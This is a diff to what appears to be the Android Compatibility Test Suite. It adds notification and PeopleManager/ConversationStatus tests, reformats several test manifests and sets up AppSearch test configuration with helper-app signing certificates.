diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java b/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java
new file mode 100644
index 0000000..e4a4721
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.app.NotificationManager;
+import android.app.PendingIntent.CanceledException;
+import android.app.stubs.TestNotificationListener;
+import android.content.Context;
+import android.service.notification.StatusBarNotification;
+
+import java.util.function.Supplier;
+
+public class NotificationHelper {
+    public static final long SHORT_WAIT_TIME = 100;
+    public static final long MAX_WAIT_TIME = 2000;
+
+    private final Context mContext;
+    private final NotificationManager mNotificationManager;
+    private Supplier<TestNotificationListener> mNotificationListener;
+
+    public NotificationHelper(Context context, Supplier<TestNotificationListener> listener) {
+        mContext = context;
+        mNotificationManager = mContext.getSystemService(NotificationManager.class);
+        mNotificationListener = listener;
+    }
+
+    public void clickNotification(int notificationId, boolean searchAll) throws CanceledException {
+        findPostedNotification(notificationId, searchAll).getNotification().contentIntent.send();
+    }
+
+    public StatusBarNotification findPostedNotification(int id, boolean all) {
+        // notification is a bit asynchronous so it may take a few ms to appear in
+        // getActiveNotifications()
+        // we will check for it for up to 1000ms before giving up
+        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+            StatusBarNotification n = findNotificationNoWait(id, all);
+            if (n != null) {
+                return n;
+            }
+            try {
+                Thread.sleep(SHORT_WAIT_TIME);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+        }
+        return findNotificationNoWait(id, all);
+    }
+
+    public StatusBarNotification findNotificationNoWait(int id, boolean all) {
+        for (StatusBarNotification sbn : getActiveNotifications(all)) {
+            if (sbn.getId() == id) {
+                return sbn;
+            }
+        }
+        return null;
+    }
+
+    public StatusBarNotification[] getActiveNotifications(boolean all) {
+        if (all) {
+            return mNotificationListener.get().getActiveNotifications();
+        } else {
+            return mNotificationManager.getActiveNotifications();
+        }
+    }
+}
diff --git a/tests/app/src/android/app/people/cts/ConversationStatusTest.java b/tests/app/src/android/app/people/cts/ConversationStatusTest.java
new file mode 100644
index 0000000..2c644b9
--- /dev/null
+++ b/tests/app/src/android/app/people/cts/ConversationStatusTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.people.cts;
+
+import static android.app.people.ConversationStatus.ACTIVITY_GAME;
+import static android.app.people.ConversationStatus.AVAILABILITY_BUSY;
+
+import android.app.people.ConversationStatus;
+import android.content.Context;
+import android.graphics.drawable.Icon;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class ConversationStatusTest extends AndroidTestCase {
+
+    private Context mContext;
+
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    public void testCreation()  {
+        final ConversationStatus cs =
+                new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                        .setIcon(Icon.createWithResource(mContext, android.R.drawable.btn_default))
+                        .setDescription("playing chess")
+                        .setAvailability(AVAILABILITY_BUSY)
+                        .setEndTimeMillis(1000)
+                        .setStartTimeMillis(100)
+                        .build();
+
+        assertEquals("id", cs.getId());
+        assertEquals(ACTIVITY_GAME, cs.getActivity());
+        assertEquals(AVAILABILITY_BUSY, cs.getAvailability());
+        assertEquals(100, cs.getStartTimeMillis());
+        assertEquals(1000, cs.getEndTimeMillis());
+        assertEquals(android.R.drawable.btn_default, cs.getIcon().getResId());
+        assertEquals("playing chess", cs.getDescription());
+    }
+
+    public void testParcelEmpty()  {
+        final ConversationStatus orig = new ConversationStatus.Builder("id", 100).build();
+
+        Parcel parcel = Parcel.obtain();
+        orig.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+
+        ConversationStatus cs = ConversationStatus.CREATOR.createFromParcel(parcel);
+
+        assertEquals("id", cs.getId());
+        assertEquals(100, cs.getActivity());
+        assertEquals(ConversationStatus.AVAILABILITY_UNKNOWN, cs.getAvailability());
+        assertEquals(-1, cs.getStartTimeMillis());
+        assertEquals(-1, cs.getEndTimeMillis());
+        assertNull(cs.getIcon());
+        assertNull(cs.getDescription());
+    }
+
+    public void testParcel()  {
+        final ConversationStatus orig =
+                new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                        .setIcon(Icon.createWithResource(mContext, android.R.drawable.btn_default))
+                        .setDescription("playing chess")
+                        .setAvailability(AVAILABILITY_BUSY)
+                        .setEndTimeMillis(1000)
+                        .setStartTimeMillis(100)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        orig.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+
+        ConversationStatus cs = ConversationStatus.CREATOR.createFromParcel(parcel);
+
+        assertEquals("id", cs.getId());
+        assertEquals(ACTIVITY_GAME, cs.getActivity());
+        assertEquals(AVAILABILITY_BUSY, cs.getAvailability());
+        assertEquals(100, cs.getStartTimeMillis());
+        assertEquals(1000, cs.getEndTimeMillis());
+        assertEquals(android.R.drawable.btn_default, cs.getIcon().getResId());
+        assertEquals("playing chess", cs.getDescription());
+    }
+}
+
diff --git a/tests/app/src/android/app/people/cts/PeopleManagerTest.java b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
new file mode 100644
index 0000000..776a0c5
--- /dev/null
+++ b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
@@ -0,0 +1,287 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.people.cts;
+
+import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
+import static android.app.people.ConversationStatus.ACTIVITY_ANNIVERSARY;
+import static android.app.people.ConversationStatus.ACTIVITY_GAME;
+import static android.app.people.ConversationStatus.AVAILABILITY_AVAILABLE;
+import static android.app.people.ConversationStatus.AVAILABILITY_BUSY;
+
+import static junit.framework.Assert.fail;
+
+import static java.lang.Thread.sleep;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Person;
+import android.app.people.ConversationStatus;
+import android.app.people.PeopleManager;
+import android.app.stubs.R;
+import android.app.stubs.SendBubbleActivity;
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.ShortcutManager;
+import android.graphics.drawable.Icon;
+import android.os.SystemClock;
+import android.test.AndroidTestCase;
+import android.util.ArraySet;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+
+
+public class PeopleManagerTest extends AndroidTestCase {
+    final String TAG = PeopleManagerTest.class.getSimpleName();
+    static final String NOTIFICATION_CHANNEL_ID = "PeopleManagerTest";
+    static final String PERSON_CHANNEL_ID = "PersonTest";
+
+    private static final String SHARE_SHORTCUT_ID = "shareShortcut";
+    private static final String SHARE_SHORTCUT_ID2 = "shareShortcut2";
+    private static final String SHARE_SHORTCUT_CATEGORY =
+            "android.app.stubs.SHARE_SHORTCUT_CATEGORY";
+
+    private static final long TIMEOUT_MS = 4000;
+
+    private NotificationManager mNotificationManager;
+    private ShortcutManager mShortcutManager;
+    private PeopleManager mPeopleManager;
+    private String mId;
+
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // This will leave a set of channels on the device with each test run.
+        mId = UUID.randomUUID().toString();
+        mNotificationManager = mContext.getSystemService(NotificationManager.class);
+        mShortcutManager = mContext.getSystemService(ShortcutManager.class);
+        mPeopleManager = mContext.getSystemService(PeopleManager.class);
+        assertNotNull(mPeopleManager);
+
+        createDynamicShortcut();
+        mNotificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, "name", IMPORTANCE_DEFAULT));
+        NotificationChannel personChannel =
+                new NotificationChannel(PERSON_CHANNEL_ID, "person", IMPORTANCE_DEFAULT);
+        personChannel.setConversationId(NOTIFICATION_CHANNEL_ID, SHARE_SHORTCUT_ID);
+        mNotificationManager.createNotificationChannel(personChannel);
+
+        mNotificationManager.notify(177, getConversationNotification().build());
+        sleep(500);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mNotificationManager.cancelAll();
+
+        List<NotificationChannel> channels = mNotificationManager.getNotificationChannels();
+        // Delete all channels.
+        for (NotificationChannel nc : channels) {
+            if (NotificationChannel.DEFAULT_CHANNEL_ID.equals(nc.getId())) {
+                continue;
+            }
+            mNotificationManager.deleteNotificationChannel(nc.getId());
+        }
+        deleteShortcuts();
+    }
+
+    /** Creates a dynamic, longlived, sharing shortcut. Call {@link #deleteShortcuts()} after. */
+    private void createDynamicShortcut() {
+        Person person = new Person.Builder()
+                .setBot(false)
+                .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+                .setName("BubbleBot")
+                .setImportant(true)
+                .build();
+
+        Set<String> categorySet = new ArraySet<>();
+        categorySet.add(SHARE_SHORTCUT_CATEGORY);
+        Intent shortcutIntent = new Intent(mContext, SendBubbleActivity.class);
+        shortcutIntent.setAction(Intent.ACTION_VIEW);
+
+        ShortcutInfo shortcut = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID)
+                .setShortLabel(SHARE_SHORTCUT_ID)
+                .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+                .setIntent(shortcutIntent)
+                .setPerson(person)
+                .setCategories(categorySet)
+                .setLongLived(true)
+                .build();
+
+        ShortcutInfo shortcut2 = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID2)
+                .setShortLabel(SHARE_SHORTCUT_ID2)
+                .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+                .setIntent(shortcutIntent)
+                .setPerson(person)
+                .setCategories(categorySet)
+                .setLongLived(true)
+                .build();
+
+        mShortcutManager.addDynamicShortcuts(Arrays.asList(shortcut, shortcut2));
+    }
+
+    private void deleteShortcuts() {
+        mShortcutManager.removeAllDynamicShortcuts();
+        mShortcutManager.removeLongLivedShortcuts(Collections.singletonList(SHARE_SHORTCUT_ID));
+    }
+
+    private Notification.Builder getConversationNotification() {
+        Person person = new Person.Builder()
+                .setName("bubblebot")
+                .build();
+        Notification.Builder nb = new Notification.Builder(mContext, PERSON_CHANNEL_ID)
+                .setContentTitle("foo")
+                .setShortcutId(SHARE_SHORTCUT_ID)
+                .setStyle(new Notification.MessagingStyle(person)
+                        .setConversationTitle("Bubble Chat")
+                        .addMessage("Hello?",
+                                SystemClock.currentThreadTimeMillis() - 300000, person)
+                        .addMessage("Is it me you're looking for?",
+                                SystemClock.currentThreadTimeMillis(), person)
+                )
+                .setSmallIcon(android.R.drawable.sym_def_app_icon);
+        return nb;
+    }
+    public void testIsConversationWithoutPermission() throws Exception {
+        try {
+            mPeopleManager.isConversation(mContext.getPackageName(), SHARE_SHORTCUT_ID);
+            fail("Expected SecurityException");
+        } catch (Exception e) {
+            //expected
+        }
+    }
+
+    public void testIsConversationWithPermission() throws Exception {
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PEOPLE_DATA");
+
+            // Shortcut exists and has label
+            assertTrue(mPeopleManager.isConversation(
+                    mContext.getPackageName(), SHARE_SHORTCUT_ID));
+            // Shortcut doesn't exist
+            assertFalse(mPeopleManager.isConversation(
+                    mContext.getPackageName(), SHARE_SHORTCUT_ID + 1));
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+        }
+    }
+
+    public void testAddOrUpdateStatus_add() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+    }
+
+    public void testAddOrUpdateStatus_update() throws Exception {
+        ConversationStatus.Builder cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_AVAILABLE);
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs.build());
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        assertTrue(statuses.contains(cs.build()));
+
+        cs.setStartTimeMillis(100).setDescription("Playing chess");
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs.build());
+
+        statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        assertTrue(statuses.toString(), statuses.contains(cs.build()));
+    }
+
+    public void testGetStatuses() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+        assertTrue(statuses.contains(cs2));
+    }
+
+    public void testGetStatuses_multipleShortcuts() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID2, cs2);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        List<ConversationStatus> statuses2 = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID2);
+        assertTrue(statuses.contains(cs));
+        assertTrue(statuses2.contains(cs2));
+    }
+
+    public void testClearStatuses() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+        mPeopleManager.clearStatuses(SHARE_SHORTCUT_ID);
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.isEmpty());
+    }
+
+    public void testClearStatus() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+        mPeopleManager.clearStatus(SHARE_SHORTCUT_ID, cs2.getId());
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+        assertFalse(statuses.contains(cs2));
+    }
+}
diff --git a/tests/appintegrity/AndroidManifest.xml b/tests/appintegrity/AndroidManifest.xml
index e0a8816..c7ad8b5 100644
--- a/tests/appintegrity/AndroidManifest.xml
+++ b/tests/appintegrity/AndroidManifest.xml
@@ -15,23 +15,23 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appintegrity.cts">
+     package="android.appintegrity.cts">
 
     <uses-sdk android:targetSdkVersion="30"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="CtsAppIntegrityDeviceActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="CtsAppIntegrityDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.appintegrity.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.appintegrity.cts">
     </instrumentation>
 </manifest>
diff --git a/tests/apppredictionservice/AndroidManifest.xml b/tests/apppredictionservice/AndroidManifest.xml
index 8ee464a..1c77832 100644
--- a/tests/apppredictionservice/AndroidManifest.xml
+++ b/tests/apppredictionservice/AndroidManifest.xml
@@ -14,31 +14,31 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.apppredictionservice.cts"
-    android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.apppredictionservice.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- TODO(b/111701043): Update with required permissions -->
-        <service
-            android:name=".PredictionService"
-            android:label="CtsAppPredictionService">
+        <service android:name=".PredictionService"
+             android:label="CtsAppPredictionService"
+             android:exported="true">
             <intent-filter>
                 <!-- This constant must match AppPredictionService.SERVICE_INTERFACE -->
-                <action android:name="android.service.appprediction.AppPredictionService" />
+                <action android:name="android.service.appprediction.AppPredictionService"/>
             </intent-filter>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the App Prediction Framework APIs."
-        android:targetPackage="android.apppredictionservice.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the App Prediction Framework APIs."
+         android:targetPackage="android.apppredictionservice.cts">
     </instrumentation>
 
 </manifest>
diff --git a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
index ca4331a..fbc2d93 100644
--- a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
+++ b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
@@ -139,6 +139,13 @@
         RequestVerifier cb = new RequestVerifier(mReporter);
         client.registerPredictionUpdates(Executors.newSingleThreadExecutor(), cb);
 
+        // Introduce extra delay to ensure AppPredictor#registerPredictionUpdates finishes
+        // execution before calling AppPredictor#requestPredictionUpdate in the following line.
+        // Note that the delay is only needed because of the way the test case is structured.
+        // In production code, AppPredictor#requestPredictionUpdate is invoked in the callback
+        // of AppPredictor#registerPredictionUpdates, which already ensures sequential execution.
+        SystemClock.sleep(500);
+
         // Verify some updates
         assertTrue(cb.requestAndWaitForTargets(createPredictions(),
                 () -> client.requestPredictionUpdate()));
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
new file mode 100644
index 0000000..55badaa
--- /dev/null
+++ b/tests/appsearch/Android.bp
@@ -0,0 +1,103 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsAppSearchTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "AppSearchTestUtils",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "testng",
+    ],
+    srcs: [
+        "src/**/*.java",
+        ":CtsAppSearchTestsAidl",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "general-tests",
+    ],
+    platform_apis: true,
+}
+
+android_test_helper_app {
+    name: "CtsAppSearchTestHelperA",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "AppSearchTestUtils",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "testng",
+    ],
+    srcs: [
+        "helper-app/src/**/*.java",
+        ":CtsAppSearchTestsAidl"
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "general-tests",
+    ],
+    manifest: "helper-app/AndroidManifest.xml",
+    aaptflags: [
+        "--rename-manifest-package com.android.cts.appsearch.helper.a",
+    ],
+    certificate: ":cts-appsearch-helper-cert-a",
+    sdk_version: "test_current"
+}
+
+android_test_helper_app {
+    name: "CtsAppSearchTestHelperB",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "AppSearchTestUtils",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "testng",
+    ],
+    srcs: [
+        "helper-app/src/**/*.java",
+        ":CtsAppSearchTestsAidl"
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "general-tests",
+    ],
+    manifest: "helper-app/AndroidManifest.xml",
+    aaptflags: [
+        "--rename-manifest-package com.android.cts.appsearch.helper.b",
+    ],
+    certificate: ":cts-appsearch-helper-cert-b",
+    sdk_version: "test_current"
+}
+
+filegroup {
+    name: "CtsAppSearchTestsAidl",
+    srcs: [
+        "aidl/**/*.aidl",
+    ]
+}
diff --git a/tests/appsearch/AndroidManifest.xml b/tests/appsearch/AndroidManifest.xml
new file mode 100644
index 0000000..7eac46b
--- /dev/null
+++ b/tests/appsearch/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.appsearch" >
+    <application android:label="CtsAppSearchTestCases">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.appsearch"
+                     android:label="CtsAppSearchTestCases"/>
+</manifest>
diff --git a/tests/appsearch/AndroidTest.xml b/tests/appsearch/AndroidTest.xml
new file mode 100644
index 0000000..8acac7c
--- /dev/null
+++ b/tests/appsearch/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS AppSearch test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAppSearchTestCases.apk" />
+        <option name="test-file-name" value="CtsAppSearchTestHelperA.apk" />
+        <option name="test-file-name" value="CtsAppSearchTestHelperB.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.cts.appsearch" />
+    </test>
+</configuration>
diff --git a/tests/appsearch/OWNERS b/tests/appsearch/OWNERS
new file mode 100644
index 0000000..f2060d9
--- /dev/null
+++ b/tests/appsearch/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 755061
+include platform/frameworks/base:/apex/appsearch/OWNERS
diff --git a/tests/appsearch/TEST_MAPPING b/tests/appsearch/TEST_MAPPING
new file mode 100644
index 0000000..f728da5
--- /dev/null
+++ b/tests/appsearch/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSearchTestCases"
+    }
+  ]
+}
diff --git a/tests/appsearch/aidl/com/android/cts/appsearch/ICommandReceiver.aidl b/tests/appsearch/aidl/com/android/cts/appsearch/ICommandReceiver.aidl
new file mode 100644
index 0000000..1051883
--- /dev/null
+++ b/tests/appsearch/aidl/com/android/cts/appsearch/ICommandReceiver.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appsearch;
+
+import java.util.List;
+
+interface ICommandReceiver {
+    List<String> globalSearch(String queryExpression);
+}
\ No newline at end of file
diff --git a/tests/appsearch/certs/Android.bp b/tests/appsearch/certs/Android.bp
new file mode 100644
index 0000000..5c248cd
--- /dev/null
+++ b/tests/appsearch/certs/Android.bp
@@ -0,0 +1,13 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_app_certificate {
+  name: "cts-appsearch-helper-cert-a",
+  certificate: "cts-appsearch-helper-cert-a",
+}
+
+android_app_certificate {
+  name: "cts-appsearch-helper-cert-b",
+  certificate: "cts-appsearch-helper-cert-b",
+}
diff --git a/tests/appsearch/certs/README b/tests/appsearch/certs/README
new file mode 100644
index 0000000..1c3f1bd
--- /dev/null
+++ b/tests/appsearch/certs/README
@@ -0,0 +1,6 @@
+# No password, otherwise building during 'atest' will fail waiting on a password
+# These files shouldn't need to change unless you want to generate new certificates to sign the APKs
+#
+# Generated with:
+development/tools/make_key cts-appsearch-helper-cert-a '/CN=cts-appsearch-helper-cert-a'
+development/tools/make_key cts-appsearch-helper-cert-b '/CN=cts-appsearch-helper-cert-b'
diff --git a/tests/appsearch/certs/cts-appsearch-helper-cert-a.pk8 b/tests/appsearch/certs/cts-appsearch-helper-cert-a.pk8
new file mode 100644
index 0000000..80d546c
--- /dev/null
+++ b/tests/appsearch/certs/cts-appsearch-helper-cert-a.pk8
Binary files differ
diff --git a/tests/appsearch/certs/cts-appsearch-helper-cert-a.x509.pem b/tests/appsearch/certs/cts-appsearch-helper-cert-a.x509.pem
new file mode 100644
index 0000000..410c87b
--- /dev/null
+++ b/tests/appsearch/certs/cts-appsearch-helper-cert-a.x509.pem
@@ -0,0 +1,20 @@
+-----BEGIN CERTIFICATE-----
